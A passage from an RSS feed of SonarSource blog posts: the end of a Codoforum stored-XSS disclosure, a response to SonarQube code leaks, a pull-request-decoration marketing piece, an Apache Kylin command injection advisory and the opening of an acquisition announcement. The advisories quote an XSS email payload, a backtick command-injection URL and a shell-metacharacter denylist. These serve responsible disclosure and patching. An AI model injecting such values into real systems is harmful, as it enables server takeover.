⋮&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;For this purpose, the user controlled &lt;code&gt;$mail&lt;/code&gt; variable is checked with the PHP built-in function &lt;code&gt;filter_var()&lt;/code&gt; and its filter option &lt;code&gt;FILTER_VADLIDATE_EMAIL&lt;/code&gt; in line 108. If &lt;code&gt;$mail&lt;/code&gt; is a valid email and does not exist, the registration will work without problems (see above).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;According to the PHP documentation, the &lt;code&gt;FILTER_VADLIDATE_EMAIL&lt;/code&gt; generally validates the email address against the syntax defined in &lt;em&gt;RFC 822&lt;/em&gt;. Hence, malicious HTML characters that can be used to construct a JavaScript payload can be used within an email address. Something like &lt;code&gt;&amp;quot;&amp;gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;x@foo.com&lt;/code&gt; is valid and will not be rejected by the filter.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;sys/CODOF/Constraints/User.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;105  public function mail($mail) {
106  
107     $errors = array();
108     if (!filter_var($mail, FILTER_VALIDATE_EMAIL)) {
109        $errors[] = _t(&quot;email address not formatted correctly&quot;);
110     }
111
112    if (\CODOF\User\User::mailExists($mail)) {
113       $errors[] = _t(&quot;email address is already registered&quot;);
114    }
115
116     $this-&gt;errors = array_merge($errors, $this-&gt;errors);
⋮&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;admin/layout/templates/users/edit.tpl&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;50  Email:&lt;br&gt;
51  &lt;input type=&quot;text&quot; name=&quot;email&quot;  value=&quot;{$user.mail}&quot; class=&quot;form-control&quot; placeholder=&quot;&quot;      required /&gt;
52  &lt;br/&gt; &lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Since Codoforum uses the PHP template engine Smarty, the escape modifier of Smarty can be used as a patch by replacing line 51 with the following content:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;51  &lt;input type=&quot;text&quot; name=&quot;email&quot;  value=&quot;{$user.mail|escape:&apos;html&apos;}&quot; class=&quot;form-control&quot; placeholder=&quot;&quot; required /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If an admin visits the user profile to edit (block/delete) our registered user, the XSS payload is rendered in the admin’s web browser and we can perform any action as admin on the page. For example, administrator features can be abused to upload a PHP shell and to execute arbitrary code on the server. A &lt;a href=&quot;https://portswigger.net/daily-swig/codoforum-software-patched-against-stored-xss-vulnerability&quot;&gt;similar XSS issue&lt;/a&gt; was found earlier that affected the user name.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As a result, an attacker can smuggle an XSS payload within the email address of a new user which is reflected unfiltered in the HTML response of the admin backend.&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this blog post we analyzed three different security vulnerabilities in Codoforum, a popular board software. Each of these issues could lead to a complete takeover of the application. We’ve learned that a malicious user can take multiple paths when attacking an application and that finding only one single vulnerability is enough to fully compromise its security. Hence it is our task to make our applications as robust and secure as possible. Checking all user inputs properly and leveraging existing and proven sanitization and validation mechanisms is the first step towards a solid defense.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;Due to the severity of the issues we’ve postponed the release of our blog post since the release of a fix in March. If you are hosting a Codoforum and didn’t update your installation yet, we highly recommend to do so now. Thanks to the Codoforum team, a patch version was quickly released after our reports.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;You can join the discussion about this vulnerability in &lt;a href=&quot;https://community.sonarsource.com/t/codoforum-4-8-7-critical-code-vulnerabilities-explained/28297&quot;&gt;our community forum&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[About the recent code leaks from SonarQube instances]]></title><description><![CDATA[On July 27th 2020 we learned through media coverage that Till Kottmann was able to access non open-source source code from various companies. This is our public response to the incident.]]></description><link>https://www.sonarsource.com/blog/public-response-code-leaks</link><guid isPermaLink="false">cd80670b-26ef-559d-a254-ee40c6ecc315</guid><dc:creator><![CDATA[Olivier Gaudin]]></dc:creator><pubDate>Fri, 31 Jul 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;On July 27th 2020 we learned via &lt;a href=&quot;https://www.bleepingcomputer.com/news/security/source-code-from-dozens-of-companies-leaked-online/&quot;&gt;media coverage&lt;/a&gt; that Till Kottmann (@&lt;a href=&quot;https://twitter.com/deletescape&quot;&gt;deletescape&lt;/a&gt;) was able to access non open-source code from various companies, through several DevOps tools including SonarQube. We immediately reacted and tried to understand what happened. After exchanging with Till Kottmann directly, we had the confirmation of our initial intuition: &lt;strong&gt;it was possible to access the source code because of the way these specific SonarQube instances were configured, not because of a vulnerability in the SonarQube product itself&lt;/strong&gt;. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;I would like to clarify this further. SonarQube is an on-premise product to analyze code quality and code security. As such, it is designed to sit behind the firewall, within companies’ private environments. Companies may of course decide to expose it outside of their firewall, in which case it requires specific configuration. &lt;strong&gt;The impacted instances of SonarQube are the ones that are accessible on the web and have not done the extra configuration to prevent unauthenticated access.&lt;/strong&gt; This is what allowed Till Kottmann to access these instances, and to then collect snapshots of non open-source code.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Till Kottmann also confirmed this on his Twitter channel: &lt;a href=&quot;https://twitter.com/deletescape/status/1288874392668299264&quot;&gt;https://twitter.com/deletescape/status/1288874392668299264&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Our teams at SonarSource fully realize that affected companies were nonetheless caught by surprise on this, and we take it as a responsibility to provide clear guidance on how to secure a SonarQube instance (especially so if it is not secured behind a private network/firewall):&lt;/p&gt;&lt;ul&gt;&lt;li&gt;our &lt;a href=&quot;https://docs.sonarqube.org/latest/instance-administration/security/&quot;&gt;Installation Security documentation&lt;/a&gt; , which guides towards the &amp;#x27;Force user authentication&amp;#x27; setting, a key config to consider if you decide to expose your instance to the public web&lt;/li&gt;&lt;li&gt;our &lt;a href=&quot;https://docs.sonarqube.org/latest/project-administration/project-existence&quot;&gt;project provisioning documentation&lt;/a&gt; , which covers the meaning of a &lt;em&gt;Public&lt;/em&gt; VS &lt;em&gt;Private&lt;/em&gt; project in SonarQube. This is an essential consideration in case of instances opened to the web and allowing anonymous access.&lt;/li&gt;&lt;li&gt;also relevant (although less directly related) would be our &lt;a href=&quot;https://docs.sonarqube.org/latest/instance-administration/delegated-auth/&quot;&gt;documentation about Delegating Authentication&lt;/a&gt; , a typical corporate setup that helps better manage access to internal tools in a more centralized manner &lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Even though we have confirmed with Till Kottmann that there is no software vulnerability to fix in SonarQube itself, we will still be reviewing possible product improvements to better guide our users through the above settings, as they set up and onboard their SonarQube installation.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We thank you for your continued trust in our products, and would like to thank Till Kottmann for his collaboration in confirming the root-causes of this incident.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;---&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: The FBI recently &lt;a href=&quot;https://beta.documentcloud.org/documents/20399900-fbi_flash_sonarqube_access_bc&quot;&gt;issued an alert&lt;/a&gt; about this same misconfiguration problem. While this is not a flaw in SonarQube itself, we have nonetheless made changes starting from SonarQube 8.6 to the default configuration. The use of the default admin/admin credentials is now limited and authenticated access is the default in new instances.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Take Control of Code Quality with SonarQube Pull Request Decoration in Your Workflow]]></title><description><![CDATA[How do you write super clean code without disrupting your workflow? Join me as I show you how SonarQube Pull Request Decoration gets you there!]]></description><link>https://www.sonarsource.com/blog/take-control-of-code-quality-with-sonarqube-pull-request</link><guid isPermaLink="false">1d851c98-0dc7-552a-a450-5f29a8cb54c0</guid><dc:creator><![CDATA[Clint Cameron]]></dc:creator><pubDate>Mon, 27 Jul 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;If you’re passionate about writing quality code, you’re in the right place! If you want to discover how to deliver more with your workflow, you’re reading the right article! This article is about two things: 1) writing clean, quality code and 2) the methodology to make that happen right in your workflow. Join me as I walk through how SonarQube pull request decoration in your ALM (GitHub, Bitbucket, Azure DevOps, GitLab) accomplishes these goals.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;SonarQube is a Code Quality and Security tool that catches bugs, code smells and vulnerabilities in your Pull Requests (PRs). If you adopt SonarQube in your organization, you’ll surely see gains by finding lots of pesky coding issues. However, that’s not the whole story. My goal with this article is to show you something even more powerful, eye-opening and ultimately super useful! Let&amp;#x27;s go!&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/bc49f912-d895-4f66-8912-00245b28768f/body-ecc2d982-2df7-450a-b013-ef173a4918c2_matrix-gif.gif&quot; /&gt;&lt;h2&gt;&lt;em&gt;I’m trying to free your mind...you’re the one that has to walk through it...&lt;/em&gt;&lt;/h2&gt;&lt;p&gt;While SonarSource is first and foremost a company focused on code quality products for developers, there are also several SonarSource methodologies that interlock with our products. In fact, we believe these methodologies are foundational to fully realizing the benefits of our products. One of these methodologies is Clean as You Code. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Clean as You Code is fundamentally simple &lt;em&gt;AND&lt;/em&gt; its implications are powerful and potentially transformative for your organization. Before we dive into it, let’s set the stage around the development process and the typical highs and lows that come with being a developer. In this context, there are a few things we can reasonably establish:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/dbde84d3-9dd7-462d-8fa2-2a4cb761afc2/body-e1e34fbc-e183-4198-a8e8-add53c56b57a_Screen%2BShot%2B2020-07-22%2Bat%2B08.45.19.png&quot; /&gt;&lt;h2&gt;&lt;em&gt;I don’t like the idea that I’m not in control of my code...&lt;/em&gt;&lt;/h2&gt;&lt;p&gt;At SonarSource, we’re developers too so this is top-of-mind every day. With every commit, is the code quality improving or will someone down the road have a bad day undoing my past sins? Is this the unfortunate reality or is there a better way? How can we get more gains and avoid those pains? &lt;/p&gt;&lt;h2&gt;&lt;em&gt;Perhaps we are asking the wrong questions…&lt;/em&gt;&lt;/h2&gt;&lt;p&gt;The answer is in the Clean as You Code methodology and adopting SonarQube in your workflow. Let’s dig into the methodology and see what it brings. At its core, it’s three simple tenets:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/8e7b4045-9b20-4819-906c-11e582f544e7/body-44a2dcea-e9a7-437e-9ac1-00f5128f6c25_Screen%2BShot%2B2020-07-27%2Bat%2B09.43.19.png&quot; /&gt;&lt;p&gt;You might find the concept a little counterintuitive at first. There are past sins out there...just lurking about. This is true AND you must accept that, in the short term, it’s not your cross to bear. Your prime directive is to write clean, quality PRs that pass the Quality Gate and move on to the next challenge. Those past sins buried in meaningful code will get refactored soon enough. That refactoring PR will eliminate them with a passing Quality Gate! Ultimately, with patience, persistence and green Quality Gates, you end up with a squeaky-clean codebase! &lt;/p&gt;&lt;h2&gt;&lt;em&gt;No one has ever done anything like this...that&amp;#x27;s why it is going to work&lt;/em&gt;&lt;/h2&gt;&lt;p&gt;Following the Clean as You Code methodology allows developers to take ownership and directly impact Code Quality and Security. SonarQube (Developer Edition+) decorates your pull requests and branches in support of the Clean as You Code methodology. This brings us back to SonarQube as the tool to enable Clean as You Code in your workflow. SonarQube is an effective tool because there are some key Clean as You Code fundamentals built deep into its DNA:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Provide the &lt;em&gt;Right&lt;/em&gt; &lt;strong&gt;Info&lt;/strong&gt;&lt;/li&gt;&lt;li&gt;Present it at the &lt;em&gt;Right&lt;/em&gt; &lt;strong&gt;Time&lt;/strong&gt;&lt;/li&gt;&lt;li&gt;Deliver it in the &lt;em&gt;Right &lt;/em&gt;&lt;strong&gt;Place&lt;/strong&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;This isn’t all theory and methodologies and marketing speak. In fact, at SonarSource we dogfood our own instance of SonarQube and adhere to these principles during our own sprints. An example, with SonarLint and SonarQube, demonstrates how this works.&lt;/p&gt;&lt;p&gt;It all starts in your IDE, where SonarLint catches issues as you write code. This is your first line of defense. When you’re done coding and open your PR, that triggers your CI workflow and that in turn automatically kicks off an analysis of your PR in SonarQube.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/4843cee9-af50-4284-8981-a8cdb4836c65/body-2548db75-1761-4a3b-bab7-5acd02bd5658_Diagram%2Bof%2BPR%2BDeco%2Bin%2Bthe%2BALM.png&quot; /&gt;&lt;p&gt;Using the Quality Gate profile you’ve already established for your acceptance criteria, SonarQube ‘grades’ your PR and returns either Pass or Fail. If your Quality Gate is green, you can confidently merge your code. If it’s red, you have some work to do! Below, you&amp;#x27;ll see a failed Quality Gate in a GitHub PR.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/c1b11005-3155-4826-9ed0-2fccba11afde/body-36e5e290-7294-466e-8016-615ba287c123_GH%2BPR%2B-%2BFailed%2BQG.png&quot; /&gt;&lt;p&gt;There’s a link in every decoration that opens the analysis in SonarQube where you can see the issues along with an overview of the code quality metrics on your new/changed code.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/d13522c7-843e-4aa8-a2c2-38093222208a/body-7973997f-4ee1-4541-905d-4f3a4ce46a0d_GitHub%2BPR%2Bdemo%2BSQ%2Bmetrics%2Bcopy.png&quot; /&gt;&lt;p&gt;From the analysis overview screen, you can click on an issue category and from there drill down to individual problems to get an explanation along with contextual help to resolve it.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/e669ace0-6c98-4152-82a5-7b6a1c07383e/body-4a589ecf-aed5-4466-9914-4bdc1861e35b_Security%2BHotspot%2Bdrill%2Bdown%2Bin%2BGH%2BCROPPED.png&quot; /&gt;&lt;p&gt;As you work through and resolve the issues in your PR, SonarQube dynamically updates the Quality Gate decoration. Once you’re green, you know you can confidently merge your code. Now we can see how well the Clean as You Code methodology and SonarQube come together to achieve the ultimate goal of writing clean, quality code. In fact, they’re working hand-in-hand:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/1bf37254-c911-4e20-b69d-e49a3d248164/body-495c9e05-a72c-4356-9cad-c617f28c07a4_Screen%2BShot%2B2020-07-23%2Bat%2B15.24.15.png&quot; /&gt;&lt;p&gt;That’s great for your PRs and what about those developer Gains and Pains we discussed before:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;You&amp;#x27;re writing cleaner code with every PR and over time your coding skills steadily improve.&lt;/li&gt;&lt;li&gt;You and your team get more done with an efficient, productive workflow with fewer issues to refactor down the road.&lt;/li&gt;&lt;li&gt;With the Quality Gate as your clean code acceptance criteria, you won’t waste time in meetings determining if the code is ‘release-worthy’.&lt;/li&gt;&lt;li&gt;SonarSource products act as your constant coding buddy to help you get un-stuck!&lt;/li&gt;&lt;li&gt;Ultimately, you have more time to solve interesting problems and challenges!&lt;/li&gt;&lt;/ul&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/137a136b-e183-443a-9e25-68d49193665b/body-6cc8988b-71a3-4d3c-bc81-bf6da8d6009d_Dog%2Bsolving%2Bproblems.gif&quot; /&gt;&lt;h2&gt;&lt;em&gt;Remember, all I’m offering is the truth. Nothing more...&lt;/em&gt;&lt;/h2&gt;&lt;p&gt;In the end, it’s a big payoff for you - improving as a developer, solving problems and feeling confident you’re not leaving your teammates future headaches. Clean as You Code is a means to a bigger, better end -&amp;gt; being the best developer you can be! &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To see all this in action, we have dedicated pages for &lt;a href=&quot;https://www.sonarqube.org/github-integration/&quot;&gt;GitHub&lt;/a&gt;, &lt;a href=&quot;https://www.sonarqube.org/atlassian-bitbucket-integration/&quot;&gt;Bitbucket&lt;/a&gt;, &lt;a href=&quot;https://www.sonarqube.org/microsoft-azure-devops-integration/&quot;&gt;Azure DevOps&lt;/a&gt; and &lt;a href=&quot;https://www.sonarqube.org/gitlab-integration/&quot;&gt;GitLab&lt;/a&gt; where you can discover all the features and functionality. If you’re already convinced and ready to try, it&amp;#x27;s easy to &lt;a href=&quot;https://www.sonarqube.org/trial-request/developer-edition/&quot;&gt;request a free trial&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;&lt;em&gt;Thanks for reading and happy, clean coding!&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Learn more about Clean as You Code:&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://blog.sonarsource.com/clean-as-you-code&quot;&gt;Clean as You Code: How to win at Code Quality without even trying&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Apache Kylin 3.0.1 Command Injection Vulnerability]]></title><description><![CDATA[We discovered a severe command injection vulnerability in Apache Kylin that allows malicious users to execute arbitrary OS commands.]]></description><link>https://www.sonarsource.com/blog/apache-kylin-command-injection-vulnerability</link><guid isPermaLink="false">6872961d-28ac-530a-ba96-2aed5d682121</guid><dc:creator><![CDATA[Johannes Dahse]]></dc:creator><pubDate>Mon, 01 Jun 2020 22:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Apache Kylin is an open source, distributed Analytical Data Warehouse for Big Data written in Java. It was originally developed by eBay and is used by global enterprises such as Cisco, Baidu and Xiaomi to analyze extremely large datasets. After a SQL injection (&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-1937&quot;&gt;CVE-2020-1937&lt;/a&gt;) was announced in Apache Kylin on 23 Feb 2020, our team @ RIPS Technologies (who is now &lt;a href=&quot;https://blog.sonarsource.com/sonarsource-acquires-rips-technologies&quot;&gt;joining forces with SonarSource&lt;/a&gt;) decided to evaluate what our static analysis engine could find in this project. This is how we discovered another, even more severe vulnerability (&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-1956&quot;&gt;CVE-2020-1956&lt;/a&gt;) in the Kylin code base that allows malicious users to execute arbitrary OS commands and to take over the host system. In this blog post we will analyze the root cause of such vulnerabilities and how to prevent these in your Java applications.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;The vulnerability was introduced in March 2018 with Apache Kylin version 2.3.0. It affects all releases up to version 2.6.5 and 3.0.1. An authenticated user with MANAGEMENT or ADMIN permissions on any project can inject arbitrary system commands during a Cube migration via the Kylin web interface. The attacker’s system commands are then executed on the targeted web server and allow to fully compromise the system and its data. Apache rates the severity of this vulnerability as &lt;a href=&quot;https://kylin.apache.org/docs/security.html&quot;&gt;important&lt;/a&gt;.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Technical Analysis&lt;/h2&gt;&lt;p&gt;Apache Kylin handles large data sets in Cubes. The vulnerability hides in the Cube migration feature which is located in the &lt;code&gt;migrateCube()&lt;/code&gt; method of the &lt;code&gt;CubeService&lt;/code&gt; class code. A Cube migration is initiated via REST API endpoint in the &lt;code&gt;CubeController&lt;/code&gt; (&lt;em&gt;/kylin/api/cubes/{cube}/&lt;strong&gt;{project}&lt;/strong&gt;/migrate&lt;/em&gt;). The CubeController handles the migrate POST request and passes a &lt;strong&gt;project &lt;/strong&gt;name from the URL to the &lt;code&gt;CubeService&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;/server-base/src/main/java/org/apache/kylin/rest/controller/CubeController.java&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt; @RequestMapping(value=&quot;/{cube}/{project}/migrate&quot;, method={ RequestMethod.POST })
 // ...
 public void migrateCube(@PathVariable String cube, @PathVariable String project) {
 // ...
    cubeService.migrateCube(cubeInstance, project);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In the CubeService, the project name from the URL is concatenated unsanitized into a system command via a format string. This allows authenticated attackers to malform the API request and to inject malicious commands into the project name which are then executed on the system.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;/server-base/src/main/java/org/apache/kylin/rest/service/CubeService.java&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;public void migrateCube(CubeInstance cube, String projectName) {
// ...
       String srcCfgUri = config.getAutoMigrateCubeSrcConfig();
       String dstCfgUri = config.getAutoMigrateCubeDestConfig();
       // ...
       String stringBuilder = (&quot;%s/bin/kylin.sh org.apache.kylin.tool.CubeMigrationCLI %s %s %s %s %s %s true true&quot;);
       String cmd = String.format(Locale.ROOT, stringBuilder,  
               KylinConfig.getKylinHome(),
               srcCfgUri, 
               dstCfgUri, 
               cube.getName(), 
               projectName,
               config.isAutoMigrateCubeCopyAcl(),
               config.isAutoMigrateCubePurge());
       // ...
       exec.execute(cmd, patternedLogger); public void migrateCube(@PathVariable String cube, @PathVariable String project) {&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;For example, the attacker can invoke a separate system command by injecting backtick characters into the project name:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;http://target/kylin/api/cubes/kylin_streaming_cube/ &lt;strong&gt;`sleep+10`&lt;/strong&gt;/migrate&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When looking at the &lt;code&gt;stringBuilder&lt;/code&gt; above we can see that additional data is concatenated into the system command. In the first lines, a source and destination URI for a config file (&lt;code&gt;srcCfgUri&lt;/code&gt; and &lt;code&gt;dstCfgUri&lt;/code&gt;) is retrieved and then appended to the &lt;em&gt;kylin.sh&lt;/em&gt; command. These configuration settings can be permanently modified by using the Cube Designer as shown in the Figure below. When system commands are injected into the configuration settings by a malicious user, these are executed during Cube migration as well.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/f908c9a8-887a-48ab-9fa6-486f4fed7b8d/apache_kylin_rce.png.webp&quot; /&gt;&lt;h2&gt;&lt;br/&gt;&lt;/h2&gt;&lt;h2&gt;Patch&lt;/h2&gt;&lt;p&gt;In order to mitigate this vulnerability, all inputs have to be validated which can be modified by a malicious user and are used in a security-sensitive operation, such as a system command.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The &lt;a href=&quot;https://github.com/apache/kylin/commit/9cc3793ab2f2f0053c467a9b3f38cb7791cd436a&quot;&gt;initial patch&lt;/a&gt; of the Apache Kylin team based on a &lt;em&gt;denylist&lt;/em&gt; approach. It removes malicious characters that could be used for exploitation in input parameters. However, it is difficult to define all malicious characters for all different kinds of OS environments. A special character is easily missed and hence this approach is error prone and should be avoided whenever possible. For example, the Windows operating system allows a newline character &lt;code&gt;\n&lt;/code&gt; to separate two system commands which would bypass this denylist.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Error-prone patch - denylist&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;public static final String COMMAND_DENY_LIST = &quot;[ &amp;`&gt;|{}()$;\\-#~!+*”\\\\]+&quot;;

public static String checkParameter(String commandParameter) {
        String repaired = commandParameter.replaceAll(COMMAND_DENY_LIST, &quot;&quot;);
        if (repaired.length() != commandParameter.length()) {
            logger.info(&quot;Detected illegal character in command.&quot;);
        }
        return repaired;
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;An &lt;a href=&quot;https://github.com/apache/kylin/commit/335d61b62517006d7e7b55638bb6fd305dffbea1&quot;&gt;alternative patch&lt;/a&gt; has been implemented which uses an &lt;em&gt;allowlist&lt;/em&gt; approach. Here, a fixed set of allowed characters is defined. Ideally, this list should contain only alpha-numerical characters but in the case of Kylin project names additional characters are required.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Corrected patch - allowlist&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;public static final String COMMAND_ALLOW_LIST = &quot;[^\\w%,@/:=?.\&quot;\\[\\]]&quot;;

public static String checkParameter(String commandParameter) {
        String repaired = commandParameter.replaceAll(COMMAND_ALLOW_LIST, &quot;&quot;);
        if (repaired.length() != commandParameter.length()) {
            logger.info(&quot;Detected illegal character in command.&quot;);
        }
        return repaired;
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;One important thing to keep in mind is that the parameters are now sanitized against breaking out of the current command and invoking new commands. But the original command &lt;em&gt;kylin.sh&lt;/em&gt; is still executed with these user-controlled parameters. Thus the developer needs to ensure that the shell script &lt;em&gt;kylin.sh&lt;/em&gt; itself does not perform security-sensitive operations with these parameters. For example, the allowlist allows the character sequence &lt;code&gt;../&lt;/code&gt; which could be used for a path traversal attack when the project name is used in a file path.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The patch was implemented in Apache Kylin 3.0.2 and 2.6.6 and all users are encouraged to upgrade. Alternatively, Kylin administrators can set the configuration &lt;em&gt;kylin.tool.auto-migrate-cube.enabled&lt;/em&gt; to &lt;em&gt;false&lt;/em&gt; in order to disable Cube migrations and to prevent exploitation.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/5766dcc7-ca6a-40df-8ec8-b24e0a0c5f36/apache_kylin_timeline.PNG.jpeg&quot; /&gt;&lt;h2&gt;&lt;br/&gt;&lt;/h2&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this blog post we analyzed a security vulnerability in Apache Kylin that allows malicious, authenticated users to compromise the underlying system by abusing features of the Kylin web application. We looked at the root cause of this code vulnerability which can be easily introduced in any code base and evaluated different ways how to patch such an issue. With the help of static code analysis, these types of injection flaws can be automatically found early in the development lifecycle. The security vulnerability was reported to the vendor who quickly released a &lt;a href=&quot;http://kylin.apache.org/download/&quot;&gt;fixed version&lt;/a&gt; to protect its users. We would like to thank the Apache Security and Apache Kylin Team for the professional collaboration on fixing this issue in a timely manner.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;You can join the discussion about this vulnerability in &lt;a href=&quot;https://community.sonarsource.com/t/apache-kylin-3-0-1-command-injection-vulnerability/25706&quot;&gt;our community forum&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[SonarSource acquires RIPS Technologies]]></title><description><![CDATA[Teams will be joining forces in building best-in-class Static Application Security Testing (SAST) products that help development teams and organizations deliver more secure software.]]></description><link>https://www.sonarsource.com/blog/sonarsource-acquires-rips-technologies</link><guid isPermaLink="false">cca59a97-b289-5da4-96d1-f858de8665ae</guid><dc:creator><![CDATA[Olivier Gaudin]]></dc:creator><pubDate>Wed, 13 May 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I am very happy to announce that SonarSource has acquired &lt;a href=&quot;https://www.ripstech.com/&quot;&gt;RIPS Technologies&lt;/a&gt;, a German startup founded in 2016, also known as &lt;em&gt;The Technology Leader in Static Application Software Testing (SAST)&lt;/em&gt;. RIPS-TECH is famous in the SAST industry for the precision and speed of its static analyzers. You can read the &lt;a href=&quot;https://www.prnewswire.com/news-releases/sonarsource-acquires-rips-technologies-and-accelerates-in-the-application-security-market-301058514.html&quot;&gt;official Press Release announcement here&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For those who follow SonarSource since a while, you know that we are proponents of continuous improvement and we do not go for big revolutions. Still, I truly believe that this acquisition is an event that will have a large impact for the future of the company, similar to what happened when we introduced &lt;a href=&quot;https://www.sonarlint.org/&quot;&gt;SonarLint&lt;/a&gt; for IDEs, or when we launched the decoration of Pull Requests. In other words, this is a game changer. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;SonarSource was founded in 2008 with a goal of providing code quality tooling to all developers and development teams. I believe the massive popularity, adoption and usage of all of our products today speaks for itself and that we have succeeded with this goal. As we went along, we started to also add some security features in our products and 3 years ago, we decided to go into the security market with a similar goal. Two years ago we released the first version of our security engine, last year we officially launched it as part of &lt;a href=&quot;https://www.sonarqube.org/sonarqube-7-9-lts/&quot;&gt;SonarQube 7.9&lt;/a&gt; and had some good 